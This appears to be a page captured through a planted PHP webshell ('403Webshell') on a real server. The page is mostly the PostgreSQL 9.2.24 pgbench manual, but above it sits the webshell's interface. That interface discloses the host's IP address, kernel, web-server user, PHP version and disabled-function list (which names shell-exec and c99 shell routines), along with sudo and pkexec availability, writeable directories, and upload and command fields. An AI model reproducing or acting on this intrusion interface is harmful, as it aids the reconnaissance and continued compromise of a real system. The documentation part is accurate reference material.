403Webshell
Server IP : 103.119.228.120  /  Your IP : 18.218.71.21
Web Server : Apache
System : Linux v8.techscape8.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : nobody ( 99)
PHP Version : 5.6.40
Disable Function : shell_exec,symlink,system,exec,proc_get_status,proc_nice,proc_terminate,define_syslog_variables,syslog,openlog,closelog,escapeshellcmd,passthru,ocinum cols,ini_alter,leak,listen,chgrp,apache_note,apache_setenv,debugger_on,debugger_off,ftp_exec,dl,dll,myshellexec,proc_open,socket_bind,proc_close,escapeshellarg,parse_ini_filepopen,fpassthru,exec,passthru,escapeshellarg,escapeshellcmd,proc_close,proc_open,ini_alter,popen,show_source,proc_nice,proc_terminate,proc_get_status,proc_close,pfsockopen,leak,apache_child_terminate,posix_kill,posix_mkfifo,posix_setpgid,posix_setsid,posix_setuid,dl,symlink,shell_exec,system,dl,passthru,escapeshellarg,escapeshellcmd,myshellexec,c99_buff_prepare,c99_sess_put,fpassthru,getdisfunc,fx29exec,fx29exec2,is_windows,disp_freespace,fx29sh_getupdate,fx29_buff_prepare,fx29_sess_put,fx29shexit,fx29fsearch,fx29ftpbrutecheck,fx29sh_tools,fx29sh_about,milw0rm,imagez,sh_name,myshellexec,checkproxyhost,dosyayicek,c99_buff_prepare,c99_sess_put,c99getsource,c99sh_getupdate,c99fsearch,c99shexit,view_perms,posix_getpwuid,posix_getgrgid,posix_kill,parse_perms,parsesort,view_perms_color,set_encoder_input,ls_setcheckboxall,ls_reverse_all,rsg_read,rsg_glob,selfURL,dispsecinfo,unix2DosTime,addFile,system,get_users,view_size,DirFiles,DirFilesWide,DirPrintHTMLHeaders,GetFilesTotal,GetTitles,GetTimeTotal,GetMatchesCount,GetFileMatchesCount,GetResultFiles,fs_copy_dir,fs_copy_obj,fs_move_dir,fs_move_obj,fs_rmdir,SearchText,getmicrotime
MySQL : ON |  cURL : ON |  WGET : ON |  Perl : ON |  Python : ON |  Sudo : ON |  Pkexec : ON
Directory :  /usr/local/ssl/local/ssl/local/ssl/share/doc/postgresql-9.2.24/html/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /usr/local/ssl/local/ssl/local/ssl/share/doc/postgresql-9.2.24/html/pgbench.html
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<HTML
><HEAD
><TITLE
>pgbench</TITLE
><META
NAME="GENERATOR"
CONTENT="Modular DocBook HTML Stylesheet Version 1.79"><LINK
REV="MADE"
HREF="mailto:pgsql-docs@postgresql.org"><LINK
REL="HOME"
TITLE="PostgreSQL 9.2.24 Documentation"
HREF="index.html"><LINK
REL="UP"
TITLE="Client Applications"
HREF="contrib-prog-client.html"><LINK
REL="PREVIOUS"
TITLE="oid2name"
HREF="oid2name.html"><LINK
REL="NEXT"
TITLE="vacuumlo"
HREF="vacuumlo.html"><LINK
REL="STYLESHEET"
TYPE="text/css"
HREF="stylesheet.css"><META
HTTP-EQUIV="Content-Type"
CONTENT="text/html; charset=ISO-8859-1"><META
NAME="creation"
CONTENT="2017-11-06T22:43:11"></HEAD
><BODY
CLASS="REFENTRY"
><DIV
CLASS="NAVHEADER"
><TABLE
SUMMARY="Header navigation table"
WIDTH="100%"
BORDER="0"
CELLPADDING="0"
CELLSPACING="0"
><TR
><TH
COLSPAN="5"
ALIGN="center"
VALIGN="bottom"
><A
HREF="index.html"
>PostgreSQL 9.2.24 Documentation</A
></TH
></TR
><TR
><TD
WIDTH="10%"
ALIGN="left"
VALIGN="top"
><A
TITLE="oid2name"
HREF="oid2name.html"
ACCESSKEY="P"
>Prev</A
></TD
><TD
WIDTH="10%"
ALIGN="left"
VALIGN="top"
><A
HREF="contrib-prog-client.html"
ACCESSKEY="U"
>Up</A
></TD
><TD
WIDTH="60%"
ALIGN="center"
VALIGN="bottom"
></TD
><TD
WIDTH="20%"
ALIGN="right"
VALIGN="top"
><A
TITLE="vacuumlo"
HREF="vacuumlo.html"
ACCESSKEY="N"
>Next</A
></TD
></TR
></TABLE
><HR
ALIGN="LEFT"
WIDTH="100%"></DIV
><H1
><A
NAME="PGBENCH"
></A
><SPAN
CLASS="APPLICATION"
>pgbench</SPAN
></H1
><DIV
CLASS="REFNAMEDIV"
><A
NAME="AEN153217"
></A
><H2
>Name</H2
>pgbench&nbsp;--&nbsp;run a benchmark test on <SPAN
CLASS="PRODUCTNAME"
>PostgreSQL</SPAN
></DIV
><DIV
CLASS="REFSYNOPSISDIV"
><A
NAME="AEN153223"
></A
><H2
>Synopsis</H2
><P
><TT
CLASS="COMMAND"
>pgbench</TT
>  <TT
CLASS="OPTION"
>-i</TT
>  [<TT
CLASS="REPLACEABLE"
><I
>option</I
></TT
>...] [<TT
CLASS="REPLACEABLE"
><I
>dbname</I
></TT
>]</P
><P
><TT
CLASS="COMMAND"
>pgbench</TT
> [<TT
CLASS="REPLACEABLE"
><I
>option</I
></TT
>...] [<TT
CLASS="REPLACEABLE"
><I
>dbname</I
></TT
>]</P
></DIV
><DIV
CLASS="REFSECT1"
><A
NAME="AEN153238"
></A
><H2
>Description</H2
><P
>  <SPAN
CLASS="APPLICATION"
>pgbench</SPAN
> is a simple program for running benchmark
  tests on <SPAN
CLASS="PRODUCTNAME"
>PostgreSQL</SPAN
>.  It runs the same sequence of SQL
  commands over and over, possibly in multiple concurrent database sessions,
  and then calculates the average transaction rate (transactions per second).
  By default, <SPAN
CLASS="APPLICATION"
>pgbench</SPAN
> tests a scenario that is
  loosely based on TPC-B, involving five <TT
CLASS="COMMAND"
>SELECT</TT
>,
  <TT
CLASS="COMMAND"
>UPDATE</TT
>, and <TT
CLASS="COMMAND"
>INSERT</TT
> commands per transaction.
  However, it is easy to test other cases by writing your own transaction
  script files.
 </P
><P
>  Typical output from pgbench looks like:

</P><PRE
CLASS="SCREEN"
>transaction type: TPC-B (sort of)
scaling factor: 10
query mode: simple
number of clients: 10
number of threads: 1
number of transactions per client: 1000
number of transactions actually processed: 10000/10000
tps = 85.184871 (including connections establishing)
tps = 85.296346 (excluding connections establishing)</PRE
><P>

  The first six lines report some of the most important parameter
  settings.  The next line reports the number of transactions completed
  and intended (the latter being just the product of number of clients
  and number of transactions per client); these will be equal unless the run
  failed before completion.  (In <TT
CLASS="OPTION"
>-T</TT
> mode, only the actual
  number of transactions is printed.)
  The last two lines report the number of transactions per second,
  figured with and without counting the time to start database sessions.
 </P
><P
>   The default TPC-B-like transaction test requires specific tables to be
   set up beforehand.  <SPAN
CLASS="APPLICATION"
>pgbench</SPAN
> should be invoked with
   the <TT
CLASS="OPTION"
>-i</TT
> (initialize) option to create and populate these
   tables.  (When you are testing a custom script, you don't need this
   step, but will instead need to do whatever setup your test needs.)
   Initialization looks like:

</P><PRE
CLASS="PROGRAMLISTING"
>pgbench -i [<SPAN
CLASS="OPTIONAL"
> <TT
CLASS="REPLACEABLE"
><I
>other-options</I
></TT
> </SPAN
>] <TT
CLASS="REPLACEABLE"
><I
>dbname</I
></TT
></PRE
><P>

   where <TT
CLASS="REPLACEABLE"
><I
>dbname</I
></TT
> is the name of the already-created
   database to test in.  (You may also need <TT
CLASS="OPTION"
>-h</TT
>,
   <TT
CLASS="OPTION"
>-p</TT
>, and/or <TT
CLASS="OPTION"
>-U</TT
> options to specify how to
   connect to the database server.)
  </P
><DIV
CLASS="CAUTION"
><P
></P
><TABLE
CLASS="CAUTION"
BORDER="1"
WIDTH="100%"
><TR
><TD
ALIGN="CENTER"
><B
>Caution</B
></TD
></TR
><TR
><TD
ALIGN="LEFT"
><P
>    <TT
CLASS="LITERAL"
>pgbench -i</TT
> creates four tables <TT
CLASS="STRUCTNAME"
>pgbench_accounts</TT
>,
    <TT
CLASS="STRUCTNAME"
>pgbench_branches</TT
>, <TT
CLASS="STRUCTNAME"
>pgbench_history</TT
>, and
    <TT
CLASS="STRUCTNAME"
>pgbench_tellers</TT
>,
    destroying any existing tables of these names.
    Be very careful to use another database if you have tables having these
    names!
   </P
></TD
></TR
></TABLE
></DIV
><P
>   At the default <SPAN
CLASS="QUOTE"
>"scale factor"</SPAN
> of 1, the tables initially
   contain this many rows:
</P><PRE
CLASS="SCREEN"
>table                   # of rows
---------------------------------
pgbench_branches        1
pgbench_tellers         10
pgbench_accounts        100000
pgbench_history         0</PRE
><P>
   You can (and, for most purposes, probably should) increase the number
   of rows by using the <TT
CLASS="OPTION"
>-s</TT
> (scale factor) option.  The
   <TT
CLASS="OPTION"
>-F</TT
> (fillfactor) option might also be used at this point.
  </P
><P
>   Once you have done the necessary setup, you can run your benchmark
   with a command that doesn't include <TT
CLASS="OPTION"
>-i</TT
>, that is

</P><PRE
CLASS="PROGRAMLISTING"
>pgbench [<SPAN
CLASS="OPTIONAL"
> <TT
CLASS="REPLACEABLE"
><I
>options</I
></TT
> </SPAN
>] <TT
CLASS="REPLACEABLE"
><I
>dbname</I
></TT
></PRE
><P>

   In nearly all cases, you'll need some options to make a useful test.
   The most important options are <TT
CLASS="OPTION"
>-c</TT
> (number of clients),
   <TT
CLASS="OPTION"
>-t</TT
> (number of transactions), <TT
CLASS="OPTION"
>-T</TT
> (time limit),
   and <TT
CLASS="OPTION"
>-f</TT
> (specify a custom script file).
   See below for a full list.
  </P
></DIV
><DIV
CLASS="REFSECT1"
><A
NAME="AEN153283"
></A
><H2
>Options</H2
><P
>   The following is divided into three subsections: Different options are used
   during database initialization and while running benchmarks, some options
   are useful in both cases.
  </P
><DIV
CLASS="REFSECT2"
><A
NAME="PGBENCH-INIT-OPTIONS"
></A
><H3
>Initialization Options</H3
><P
>    <SPAN
CLASS="APPLICATION"
>pgbench</SPAN
> accepts the following command-line
    initialization arguments:

    <P
></P
></P><DIV
CLASS="VARIABLELIST"
><DL
><DT
><TT
CLASS="OPTION"
>-i</TT
></DT
><DD
><P
>        Required to invoke initialization mode.
       </P
></DD
><DT
><TT
CLASS="OPTION"
>-F</TT
> <TT
CLASS="REPLACEABLE"
><I
>fillfactor</I
></TT
></DT
><DD
><P
>        Create the <TT
CLASS="STRUCTNAME"
>pgbench_accounts</TT
>,
        <TT
CLASS="STRUCTNAME"
>pgbench_tellers</TT
> and
        <TT
CLASS="STRUCTNAME"
>pgbench_branches</TT
> tables with the given fillfactor.
        Default is 100.
       </P
></DD
><DT
><TT
CLASS="OPTION"
>-s</TT
> <TT
CLASS="REPLACEABLE"
><I
>scale_factor</I
></TT
></DT
><DD
><P
>        Multiply the number of rows generated by the scale factor.
        For example, <TT
CLASS="LITERAL"
>-s 100</TT
> will create 10,000,000 rows
        in the <TT
CLASS="STRUCTNAME"
>pgbench_accounts</TT
> table. Default is 1.
       </P
></DD
><DT
><TT
CLASS="OPTION"
>--index-tablespace=<TT
CLASS="REPLACEABLE"
><I
>index_tablespace</I
></TT
></TT
></DT
><DD
><P
>        Create indexes in the specified tablespace, rather than the default
        tablespace.
       </P
></DD
><DT
><TT
CLASS="OPTION"
>--tablespace=<TT
CLASS="REPLACEABLE"
><I
>tablespace</I
></TT
></TT
></DT
><DD
><P
>        Create tables in the specified tablespace, rather than the default
        tablespace.
       </P
></DD
><DT
><TT
CLASS="OPTION"
>--unlogged-tables</TT
></DT
><DD
><P
>        Create all tables as unlogged tables, rather than permanent tables.
       </P
></DD
></DL
></DIV
><P>
   </P
></DIV
><DIV
CLASS="REFSECT2"
><A
NAME="PGBENCH-RUN-OPTIONS"
></A
><H3
>Benchmarking Options</H3
><P
>    <SPAN
CLASS="APPLICATION"
>pgbench</SPAN
> accepts the following command-line
    benchmarking arguments:

    <P
></P
></P><DIV
CLASS="VARIABLELIST"
><DL
><DT
><TT
CLASS="OPTION"
>-c</TT
> <TT
CLASS="REPLACEABLE"
><I
>clients</I
></TT
></DT
><DD
><P
>        Number of clients simulated, that is, number of concurrent database
        sessions.  Default is 1.
       </P
></DD
><DT
><TT
CLASS="OPTION"
>-C</TT
></DT
><DD
><P
>        Establish a new connection for each transaction, rather than
        doing it just once per client session.
        This is useful to measure the connection overhead.
       </P
></DD
><DT
><TT
CLASS="OPTION"
>-d</TT
></DT
><DD
><P
>        Print debugging output.
       </P
></DD
><DT
><TT
CLASS="OPTION"
>-D</TT
> <TT
CLASS="REPLACEABLE"
><I
>varname</I
></TT
><TT
CLASS="LITERAL"
>=</TT
><TT
CLASS="REPLACEABLE"
><I
>value</I
></TT
></DT
><DD
><P
>        Define a variable for use by a custom script (see below).
        Multiple <TT
CLASS="OPTION"
>-D</TT
> options are allowed.
       </P
></DD
><DT
><TT
CLASS="OPTION"
>-f</TT
> <TT
CLASS="REPLACEABLE"
><I
>filename</I
></TT
></DT
><DD
><P
>        Read transaction script from <TT
CLASS="REPLACEABLE"
><I
>filename</I
></TT
>.
        See below for details.
        <TT
CLASS="OPTION"
>-N</TT
>, <TT
CLASS="OPTION"
>-S</TT
>, and <TT
CLASS="OPTION"
>-f</TT
>
        are mutually exclusive.
       </P
></DD
><DT
><TT
CLASS="OPTION"
>-j</TT
> <TT
CLASS="REPLACEABLE"
><I
>threads</I
></TT
></DT
><DD
><P
>        Number of worker threads within <SPAN
CLASS="APPLICATION"
>pgbench</SPAN
>.
        Using more than one thread can be helpful on multi-CPU machines.
        The number of clients must be a multiple of the number of threads,
        since each thread is given the same number of client sessions to manage.
        Default is 1.
       </P
></DD
><DT
><TT
CLASS="OPTION"
>-l</TT
></DT
><DD
><P
>        Write the time taken by each transaction to a log file.
        See below for details.
       </P
></DD
><DT
><TT
CLASS="OPTION"
>-M</TT
> <TT
CLASS="REPLACEABLE"
><I
>querymode</I
></TT
></DT
><DD
><P
>        Protocol to use for submitting queries to the server:
          <P
></P
></P><UL
><LI
><P
><TT
CLASS="LITERAL"
>simple</TT
>: use simple query protocol.</P
></LI
><LI
><P
><TT
CLASS="LITERAL"
>extended</TT
>: use extended query protocol.</P
></LI
><LI
><P
><TT
CLASS="LITERAL"
>prepared</TT
>: use extended query protocol with prepared statements.</P
></LI
></UL
><P>
        The default is simple query protocol.  (See <A
HREF="protocol.html"
>Chapter 46</A
>
        for more information.)
       </P
></DD
><DT
><TT
CLASS="OPTION"
>-n</TT
></DT
><DD
><P
>        Perform no vacuuming before running the test.
        This option is <SPAN
CLASS="emphasis"
><I
CLASS="EMPHASIS"
>necessary</I
></SPAN
>
        if you are running a custom test scenario that does not include
        the standard tables <TT
CLASS="STRUCTNAME"
>pgbench_accounts</TT
>,
        <TT
CLASS="STRUCTNAME"
>pgbench_branches</TT
>, <TT
CLASS="STRUCTNAME"
>pgbench_history</TT
>, and
        <TT
CLASS="STRUCTNAME"
>pgbench_tellers</TT
>.
       </P
></DD
><DT
><TT
CLASS="OPTION"
>-N</TT
></DT
><DD
><P
>        Do not update <TT
CLASS="STRUCTNAME"
>pgbench_tellers</TT
> and
        <TT
CLASS="STRUCTNAME"
>pgbench_branches</TT
>.
        This will avoid update contention on these tables, but
        it makes the test case even less like TPC-B.
       </P
></DD
><DT
><TT
CLASS="OPTION"
>-r</TT
></DT
><DD
><P
>        Report the average per-statement latency (execution time from the
        perspective of the client) of each command after the benchmark
        finishes.  See below for details.
       </P
></DD
><DT
><TT
CLASS="OPTION"
>-s</TT
> <TT
CLASS="REPLACEABLE"
><I
>scale_factor</I
></TT
></DT
><DD
><P
>        Report the specified scale factor in <SPAN
CLASS="APPLICATION"
>pgbench</SPAN
>'s
        output.  With the built-in tests, this is not necessary; the
        correct scale factor will be detected by counting the number of
        rows in the <TT
CLASS="STRUCTNAME"
>pgbench_branches</TT
> table.  However, when testing
        custom benchmarks (<TT
CLASS="OPTION"
>-f</TT
> option), the scale factor
        will be reported as 1 unless this option is used.
       </P
></DD
><DT
><TT
CLASS="OPTION"
>-S</TT
></DT
><DD
><P
>        Perform select-only transactions instead of TPC-B-like test.
       </P
></DD
><DT
><TT
CLASS="OPTION"
>-t</TT
> <TT
CLASS="REPLACEABLE"
><I
>transactions</I
></TT
></DT
><DD
><P
>        Number of transactions each client runs.  Default is 10.
       </P
></DD
><DT
><TT
CLASS="OPTION"
>-T</TT
> <TT
CLASS="REPLACEABLE"
><I
>seconds</I
></TT
></DT
><DD
><P
>        Run the test for this many seconds, rather than a fixed number of
        transactions per client. <TT
CLASS="OPTION"
>-t</TT
> and
        <TT
CLASS="OPTION"
>-T</TT
> are mutually exclusive.
       </P
></DD
><DT
><TT
CLASS="OPTION"
>-v</TT
></DT
><DD
><P
>        Vacuum all four standard tables before running the test.
        With neither <TT
CLASS="OPTION"
>-n</TT
> nor <TT
CLASS="OPTION"
>-v</TT
>, pgbench will vacuum the
        <TT
CLASS="STRUCTNAME"
>pgbench_tellers</TT
> and <TT
CLASS="STRUCTNAME"
>pgbench_branches</TT
>
        tables, and will truncate <TT
CLASS="STRUCTNAME"
>pgbench_history</TT
>.
       </P
></DD
></DL
></DIV
><P>
   </P
></DIV
><DIV
CLASS="REFSECT2"
><A
NAME="PGBENCH-COMMON-OPTIONS"
></A
><H3
>Common Options</H3
><P
>    <SPAN
CLASS="APPLICATION"
>pgbench</SPAN
> accepts the following command-line
    common arguments:

    <P
></P
></P><DIV
CLASS="VARIABLELIST"
><DL
><DT
><TT
CLASS="OPTION"
>-h</TT
> <TT
CLASS="REPLACEABLE"
><I
>hostname</I
></TT
></DT
><DD
><P
>        The database server's host name
       </P
></DD
><DT
><TT
CLASS="OPTION"
>-p</TT
> <TT
CLASS="REPLACEABLE"
><I
>port</I
></TT
></DT
><DD
><P
>        The database server's port number
       </P
></DD
><DT
><TT
CLASS="OPTION"
>-U</TT
> <TT
CLASS="REPLACEABLE"
><I
>login</I
></TT
></DT
><DD
><P
>        The user name to connect as
       </P
></DD
><DT
><TT
CLASS="OPTION"
>-V</TT
><BR><TT
CLASS="OPTION"
>--version</TT
></DT
><DD
><P
>        Print the <SPAN
CLASS="APPLICATION"
>pgbench</SPAN
> version and exit.
       </P
></DD
><DT
><TT
CLASS="OPTION"
>-?</TT
><BR><TT
CLASS="OPTION"
>--help</TT
></DT
><DD
><P
>        Show help about <SPAN
CLASS="APPLICATION"
>pgbench</SPAN
> command line
        arguments, and exit.
       </P
></DD
></DL
></DIV
><P>
   </P
></DIV
></DIV
><DIV
CLASS="REFSECT1"
><A
NAME="AEN153498"
></A
><H2
>Notes</H2
><DIV
CLASS="REFSECT2"
><A
NAME="AEN153500"
></A
><H3
>What is the <SPAN
CLASS="QUOTE"
>"Transaction"</SPAN
> Actually Performed in pgbench?</H3
><P
>   The default transaction script issues seven commands per transaction:
  </P
><P
></P
><OL
TYPE="1"
><LI
><P
><TT
CLASS="LITERAL"
>BEGIN;</TT
></P
></LI
><LI
><P
><TT
CLASS="LITERAL"
>UPDATE pgbench_accounts SET abalance = abalance + :delta WHERE aid = :aid;</TT
></P
></LI
><LI
><P
><TT
CLASS="LITERAL"
>SELECT abalance FROM pgbench_accounts WHERE aid = :aid;</TT
></P
></LI
><LI
><P
><TT
CLASS="LITERAL"
>UPDATE pgbench_tellers SET tbalance = tbalance + :delta WHERE tid = :tid;</TT
></P
></LI
><LI
><P
><TT
CLASS="LITERAL"
>UPDATE pgbench_branches SET bbalance = bbalance + :delta WHERE bid = :bid;</TT
></P
></LI
><LI
><P
><TT
CLASS="LITERAL"
>INSERT INTO pgbench_history (tid, bid, aid, delta, mtime) VALUES (:tid, :bid, :aid, :delta, CURRENT_TIMESTAMP);</TT
></P
></LI
><LI
><P
><TT
CLASS="LITERAL"
>END;</TT
></P
></LI
></OL
><P
>   If you specify <TT
CLASS="OPTION"
>-N</TT
>, steps 4 and 5 aren't included in the
   transaction.  If you specify <TT
CLASS="OPTION"
>-S</TT
>, only the <TT
CLASS="COMMAND"
>SELECT</TT
> is
   issued.
  </P
></DIV
><DIV
CLASS="REFSECT2"
><A
NAME="AEN153530"
></A
><H3
>Custom Scripts</H3
><P
>   <SPAN
CLASS="APPLICATION"
>pgbench</SPAN
> has support for running custom
   benchmark scenarios by replacing the default transaction script
   (described above) with a transaction script read from a file
   (<TT
CLASS="OPTION"
>-f</TT
> option).  In this case a <SPAN
CLASS="QUOTE"
>"transaction"</SPAN
>
   counts as one execution of a script file.  You can even specify
   multiple scripts (multiple <TT
CLASS="OPTION"
>-f</TT
> options), in which
   case a random one of the scripts is chosen each time a client session
   starts a new transaction.
  </P
><P
>   The format of a script file is one SQL command per line; multiline
   SQL commands are not supported.  Empty lines and lines beginning with
   <TT
CLASS="LITERAL"
>--</TT
> are ignored.  Script file lines can also be
   <SPAN
CLASS="QUOTE"
>"meta commands"</SPAN
>, which are interpreted by <SPAN
CLASS="APPLICATION"
>pgbench</SPAN
>
   itself, as described below.
  </P
><P
>   There is a simple variable-substitution facility for script files.
   Variables can be set by the command-line <TT
CLASS="OPTION"
>-D</TT
> option,
   explained above, or by the meta commands explained below.
   In addition to any variables preset by <TT
CLASS="OPTION"
>-D</TT
> command-line options,
   the variable <TT
CLASS="LITERAL"
>scale</TT
> is preset to the current scale factor.
   Once set, a variable's
   value can be inserted into a SQL command by writing
   <TT
CLASS="LITERAL"
>:</TT
><TT
CLASS="REPLACEABLE"
><I
>variablename</I
></TT
>.  When running more than
   one client session, each session has its own set of variables.
  </P
><P
>   Script file meta commands begin with a backslash (<TT
CLASS="LITERAL"
>\</TT
>).
   Arguments to a meta command are separated by white space.
   These meta commands are supported:
  </P
><P
></P
><DIV
CLASS="VARIABLELIST"
><DL
><DT
><TT
CLASS="LITERAL"
>\set <TT
CLASS="REPLACEABLE"
><I
>varname</I
></TT
> <TT
CLASS="REPLACEABLE"
><I
>operand1</I
></TT
> [ <TT
CLASS="REPLACEABLE"
><I
>operator</I
></TT
> <TT
CLASS="REPLACEABLE"
><I
>operand2</I
></TT
> ]</TT
></DT
><DD
><P
>      Sets variable <TT
CLASS="REPLACEABLE"
><I
>varname</I
></TT
> to a calculated integer value.
      Each <TT
CLASS="REPLACEABLE"
><I
>operand</I
></TT
> is either an integer constant or a
      <TT
CLASS="LITERAL"
>:</TT
><TT
CLASS="REPLACEABLE"
><I
>variablename</I
></TT
> reference to a variable
      having an integer value.  The <TT
CLASS="REPLACEABLE"
><I
>operator</I
></TT
> can be
      <TT
CLASS="LITERAL"
>+</TT
>, <TT
CLASS="LITERAL"
>-</TT
>, <TT
CLASS="LITERAL"
>*</TT
>, or <TT
CLASS="LITERAL"
>/</TT
>.
     </P
><P
>      Example:
</P><PRE
CLASS="PROGRAMLISTING"
>\set ntellers 10 * :scale</PRE
><P></P
></DD
><DT
><TT
CLASS="LITERAL"
>\setrandom <TT
CLASS="REPLACEABLE"
><I
>varname</I
></TT
> <TT
CLASS="REPLACEABLE"
><I
>min</I
></TT
> <TT
CLASS="REPLACEABLE"
><I
>max</I
></TT
></TT
></DT
><DD
><P
>      Sets variable <TT
CLASS="REPLACEABLE"
><I
>varname</I
></TT
> to a random integer value
      between the limits <TT
CLASS="REPLACEABLE"
><I
>min</I
></TT
> and <TT
CLASS="REPLACEABLE"
><I
>max</I
></TT
> inclusive.
      Each limit can be either an integer constant or a
      <TT
CLASS="LITERAL"
>:</TT
><TT
CLASS="REPLACEABLE"
><I
>variablename</I
></TT
> reference to a variable
      having an integer value.
     </P
><P
>      Example:
</P><PRE
CLASS="PROGRAMLISTING"
>\setrandom aid 1 :naccounts</PRE
><P></P
></DD
><DT
><TT
CLASS="LITERAL"
>\sleep <TT
CLASS="REPLACEABLE"
><I
>number</I
></TT
> [ us | ms | s ]</TT
></DT
><DD
><P
>      Causes script execution to sleep for the specified duration in
      microseconds (<TT
CLASS="LITERAL"
>us</TT
>), milliseconds (<TT
CLASS="LITERAL"
>ms</TT
>) or seconds
      (<TT
CLASS="LITERAL"
>s</TT
>).  If the unit is omitted then seconds are the default.
      <TT
CLASS="REPLACEABLE"
><I
>number</I
></TT
> can be either an integer constant or a
      <TT
CLASS="LITERAL"
>:</TT
><TT
CLASS="REPLACEABLE"
><I
>variablename</I
></TT
> reference to a variable
      having an integer value.
     </P
><P
>      Example:
</P><PRE
CLASS="PROGRAMLISTING"
>\sleep 10 ms</PRE
><P></P
></DD
><DT
><TT
CLASS="LITERAL"
>\setshell <TT
CLASS="REPLACEABLE"
><I
>varname</I
></TT
> <TT
CLASS="REPLACEABLE"
><I
>command</I
></TT
> [ <TT
CLASS="REPLACEABLE"
><I
>argument</I
></TT
> ... ]</TT
></DT
><DD
><P
>      Sets variable <TT
CLASS="REPLACEABLE"
><I
>varname</I
></TT
> to the result of the shell command
      <TT
CLASS="REPLACEABLE"
><I
>command</I
></TT
>. The command must return an integer value
      through its standard output.
     </P
><P
>      <TT
CLASS="REPLACEABLE"
><I
>argument</I
></TT
> can be either a text constant or a
      <TT
CLASS="LITERAL"
>:</TT
><TT
CLASS="REPLACEABLE"
><I
>variablename</I
></TT
> reference to a variable of
      any types. If you want to use <TT
CLASS="REPLACEABLE"
><I
>argument</I
></TT
> starting with
      colons, you need to add an additional colon at the beginning of
      <TT
CLASS="REPLACEABLE"
><I
>argument</I
></TT
>.
     </P
><P
>      Example:
</P><PRE
CLASS="PROGRAMLISTING"
>\setshell variable_to_be_assigned command literal_argument :variable ::literal_starting_with_colon</PRE
><P></P
></DD
><DT
><TT
CLASS="LITERAL"
>\shell <TT
CLASS="REPLACEABLE"
><I
>command</I
></TT
> [ <TT
CLASS="REPLACEABLE"
><I
>argument</I
></TT
> ... ]</TT
></DT
><DD
><P
>      Same as <TT
CLASS="LITERAL"
>\setshell</TT
>, but the result is ignored.
     </P
><P
>      Example:
</P><PRE
CLASS="PROGRAMLISTING"
>\shell command literal_argument :variable ::literal_starting_with_colon</PRE
><P></P
></DD
></DL
></DIV
><P
>   As an example, the full definition of the built-in TPC-B-like
   transaction is:

</P><PRE
CLASS="PROGRAMLISTING"
>\set nbranches :scale
\set ntellers 10 * :scale
\set naccounts 100000 * :scale
\setrandom aid 1 :naccounts
\setrandom bid 1 :nbranches
\setrandom tid 1 :ntellers
\setrandom delta -5000 5000
BEGIN;
UPDATE pgbench_accounts SET abalance = abalance + :delta WHERE aid = :aid;
SELECT abalance FROM pgbench_accounts WHERE aid = :aid;
UPDATE pgbench_tellers SET tbalance = tbalance + :delta WHERE tid = :tid;
UPDATE pgbench_branches SET bbalance = bbalance + :delta WHERE bid = :bid;
INSERT INTO pgbench_history (tid, bid, aid, delta, mtime) VALUES (:tid, :bid, :aid, :delta, CURRENT_TIMESTAMP);
END;</PRE
><P>

   This script allows each iteration of the transaction to reference
   different, randomly-chosen rows.  (This example also shows why it's
   important for each client session to have its own variables &mdash;
   otherwise they'd not be independently touching different rows.)
  </P
></DIV
><DIV
CLASS="REFSECT2"
><A
NAME="AEN153629"
></A
><H3
>Per-Transaction Logging</H3
><P
>   With the <TT
CLASS="OPTION"
>-l</TT
> option, <SPAN
CLASS="APPLICATION"
>pgbench</SPAN
> writes the time
   taken by each transaction to a log file.  The log file will be named
   <TT
CLASS="FILENAME"
>pgbench_log.<TT
CLASS="REPLACEABLE"
><I
>nnn</I
></TT
></TT
>, where
   <TT
CLASS="REPLACEABLE"
><I
>nnn</I
></TT
> is the PID of the pgbench process.
   If the <TT
CLASS="OPTION"
>-j</TT
> option is 2 or higher, creating multiple worker
   threads, each will have its own log file. The first worker will use the
   same name for its log file as in the standard single worker case.
   The additional log files for the other workers will be named
   <TT
CLASS="FILENAME"
>pgbench_log.<TT
CLASS="REPLACEABLE"
><I
>nnn</I
></TT
>.<TT
CLASS="REPLACEABLE"
><I
>mmm</I
></TT
></TT
>,
   where <TT
CLASS="REPLACEABLE"
><I
>mmm</I
></TT
> is a sequential number for each worker starting
   with 1.
  </P
><P
>   The format of the log is:

</P><PRE
CLASS="SYNOPSIS"
><TT
CLASS="REPLACEABLE"
><I
>client_id</I
></TT
> <TT
CLASS="REPLACEABLE"
><I
>transaction_no</I
></TT
> <TT
CLASS="REPLACEABLE"
><I
>time</I
></TT
> <TT
CLASS="REPLACEABLE"
><I
>file_no</I
></TT
> <TT
CLASS="REPLACEABLE"
><I
>time_epoch</I
></TT
> <TT
CLASS="REPLACEABLE"
><I
>time_us</I
></TT
></PRE
><P>

   where <TT
CLASS="REPLACEABLE"
><I
>time</I
></TT
> is the total elapsed transaction time in microseconds,
   <TT
CLASS="REPLACEABLE"
><I
>file_no</I
></TT
> identifies which script file was used
   (useful when multiple scripts were specified with <TT
CLASS="OPTION"
>-f</TT
>),
   and <TT
CLASS="REPLACEABLE"
><I
>time_epoch</I
></TT
>/<TT
CLASS="REPLACEABLE"
><I
>time_us</I
></TT
> are a
   UNIX epoch format timestamp and an offset
   in microseconds (suitable for creating an ISO 8601
   timestamp with fractional seconds) showing when
   the transaction completed.
  </P
><P
>   Here are example outputs:
</P><PRE
CLASS="SCREEN"
> 0 199 2241 0 1175850568 995598
 0 200 2465 0 1175850568 998079
 0 201 2513 0 1175850569 608
 0 202 2038 0 1175850569 2663</PRE
><P></P
></DIV
><DIV
CLASS="REFSECT2"
><A
NAME="AEN153657"
></A
><H3
>Per-Statement Latencies</H3
><P
>   With the <TT
CLASS="OPTION"
>-r</TT
> option, <SPAN
CLASS="APPLICATION"
>pgbench</SPAN
> collects
   the elapsed transaction time of each statement executed by every
   client.  It then reports an average of those values, referred to
   as the latency for each statement, after the benchmark has finished.
  </P
><P
>   For the default script, the output will look similar to this:
</P><PRE
CLASS="SCREEN"
>starting vacuum...end.
transaction type: TPC-B (sort of)
scaling factor: 1
query mode: simple
number of clients: 10
number of threads: 1
number of transactions per client: 1000
number of transactions actually processed: 10000/10000
tps = 618.764555 (including connections establishing)
tps = 622.977698 (excluding connections establishing)
statement latencies in milliseconds:
        0.004386        \set nbranches 1 * :scale
        0.001343        \set ntellers 10 * :scale
